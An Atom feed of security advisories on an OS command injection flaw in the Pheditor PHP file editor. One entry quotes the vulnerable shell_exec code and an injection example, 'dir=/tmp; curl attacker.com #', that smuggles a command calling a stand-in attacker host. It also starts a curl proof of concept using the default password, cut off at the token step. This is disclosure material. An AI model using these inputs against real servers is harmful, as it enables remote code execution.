<?xml version='1.0' encoding='UTF-8'?>
<?xml-stylesheet href="/static/style.xsl" type="text/xsl"?>
<feed xmlns="http://www.w3.org/2005/Atom" xml:lang="en">
  <id>https://vulnerability.circl.lu/rss/recent/all/10</id>
  <title>Most recent entries from all</title>
  <updated>2026-10-04T11:29:04.663569+00:00</updated>
  <author>
    <name>Vulnerability-Lookup</name>
    <email>info@circl.lu</email>
  </author>
  <link href="https://vulnerability.circl.lu" rel="alternate"/>
  <generator uri="https://lkiesow.github.io/python-feedgen" version="1.0.0">python-feedgen</generator>
  <subtitle>Contains only the most 10 recent entries.</subtitle>
  <entry>
    <id>https://vulnerability.circl.lu/vuln/fkie_cve-2026-48030</id>
    <title>fkie_cve-2026-48030</title>
    <updated>2026-10-04T11:29:04.665648+00:00</updated>
    <content type="xhtml">
      <div xmlns="http://www.w3.org/1999/xhtml">
        <p>Pheditor is a single-file editor and file manager written in PHP. From version 2.0.1 to before version 2.0.4, an OS Command Injection vulnerability in the terminal action handler allows any authenticated user to execute arbitrary OS commands by injecting shell metacharacters into the 'dir' POST parameter, completely bypassing the TERMINAL_COMMANDS whitelist and achieving full Remote Code Execution with web server privileges. This issue has been patched in version 2.0.4.</p>
      </div>
    </content>
    <link href="https://vulnerability.circl.lu/vuln/fkie_cve-2026-48030"/>
  </entry>
  <entry>
    <id>https://vulnerability.circl.lu/vuln/ghsa-jvc5-6g7q-c843</id>
    <title>GHSA-jvc5-6g7q-c843 — Pheditor: OS Command Injection in terminal handler via unsanitized 'dir' parameter</title>
    <updated>2026-10-04T11:29:04.665834+00:00</updated>
    <content type="xhtml">
      <div xmlns="http://www.w3.org/1999/xhtml"><p><strong>Affected:</strong> Packagist: pheditor/pheditor</p>
<p>### Summary</p>
<p>An OS Command Injection vulnerability in the terminal action handler allows any authenticated user to execute arbitrary OS commands by injecting shell metacharacters into the 'dir' POST parameter, completely bypassing the TERMINAL_COMMANDS whitelist and achieving full Remote Code Execution with web server privileges.</p>
<p>### Details</p>
<p>The terminal handler in pheditor.php accepts two POST parameters: `command` and `dir`. Shell metacharacters are validated on `$command` only — `$dir` is passed to shell_exec() without any sanitization.</p>
<p>Vulnerable code (pheditor.php, line 554–586):</p>
<p>```php
$command = $_POST['command'];  // ✓ metacharacters checked
$dir     = $_POST['dir'];      // ✗ NOT checked — vulnerable</p>
<p>if (strpos($command, '&amp;')  !== false ||
    strpos($command, ';')  !== false ||
    strpos($command, '||') !== false) {
    die(...); // only guards $command, not $dir
}</p>
<p>$output = shell_exec(
    (empty($dir) ? null : 'cd ' . $dir . ' &amp;&amp; ')
    . $command . ' &amp;&amp; echo \ ; pwd'  // ← $dir injected here
);
```</p>
<p>An attacker sends `dir=/tmp; curl attacker.com #` — the semicolon in $dir is never checked, so the injected command executes freely.</p>
<p>Fix: replace `$dir` with `escapeshellarg($dir)` on line 586.</p>
<p>### PoC</p>
<p>Requirements: valid credentials, terminal permission enabled (default)</p>
<p>Step 1 — Authenticate:</p>
<p>```bash
curl -c cookies.txt -X POST http://TARGET/pheditor.php \
  -d "pheditor_password=admin" -L &gt; /dev/null
```</p>
<p>Step 2 — Get CSRF token:</p>
<p>```bash
TOKEN=$(curl…</p></div>
    </content>
    <link href="https://vulnerability.circl.lu/vuln/ghsa-jvc5-6g7q-c843"/>
  </entry>
</feed>
